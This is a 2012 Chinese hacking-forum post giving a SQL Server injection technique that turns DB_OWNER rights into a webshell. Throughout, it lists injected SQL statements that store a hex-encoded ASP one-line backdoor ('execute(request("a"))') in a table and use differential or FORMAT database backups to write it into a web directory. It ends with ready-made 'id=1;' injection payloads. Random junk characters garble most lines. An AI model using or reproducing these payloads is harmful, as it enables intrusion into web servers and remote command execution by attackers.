找回密码
 立即注册
查看: 2716|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:7 |" }6 n1 W& i8 _* T! }
( {/ `) S9 [* N1 p6 l& a6 t
减少备份文件大小,得到可执行的webshell成功率提高不少
2 a# m- \3 t  |2 ^: |3 G& I. J一利用差异备份
% A# t( ~6 d2 _4 O3 S4 \6 ]) a# R加一个参数WITH DIFFERENTIAL2 G1 v( [8 a5 A( U2 H  A0 T
0 F2 e$ U! U4 k# C* o# ~
1! `# ~4 g% _: I# T  A* `
2: j& Y' G! _; ^/ u; p* i
3( Q; P/ x  a' d4 D+ k6 d  i5 M
4; I* U) D3 a' `9 c6 Z) `  m# ]* Q
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
7 A7 @7 z9 H# {9 [  _create table [dbo].[xiaolu] ([cmd] [image]);9 V5 q3 n6 d) ]7 |. X
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
" H4 F- u  {1 j9 \- ?/ y5 O' @9 J" t. Hdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL ( n! E( D1 R. x
: q- \# [- }" G7 x- Y# H2 Q1 ?9 \
二利用完全FORMAT
2 l% |3 T. _, u8 g, N# W+ X. ^加一个参数WITH FROMAT
9 S6 O5 w+ Y. ]1 i7 H8 ?; H有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以" D+ h- F# w( |$ B+ R* s

- D& v  x+ q* O# s2 h* M1
* S3 F" D% Y) r. C4 H2$ }+ c7 w6 _% D# @+ |! G
3( e/ t: a! t4 d5 q1 G3 }
4& o8 |) L% p, ~+ R1 k$ T4 N3 T
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
4 U, E' t: j* U1 t  K7 @create table [dbo].[xiaolu] ([cmd] [image]);, b9 n( G: b5 I7 d" m
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
1 O( |* y9 B" ^! jdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
* n5 O9 U6 Q# }4 X; U2 x0 @
2 K. H  F$ U" n9 g8 n. e' `' y总的来说就是那么简单几句,下面以备份数据库model为例子! _6 m) b& Y7 O/ J( n% k9 q
1
( W3 h" w9 O- I7 a& c4 m4 L
  U" o9 \& z4 N- j& P( Z19 {( g9 d: J1 M3 A6 W  d0 i) x
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') + n7 z  F! |  W: O" _& O
# ?0 H8 F# x, T+ c+ y0 c
27 E' U7 T* A9 X! @3 d

- y# a2 w4 G& P/ \9 {# h* }5 [1
- Z" I' J4 \) d1 ~7 H id=1;backup database model to disk='你的路径‘ with differential,format;--
# L. Q' `- z2 C& P5 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表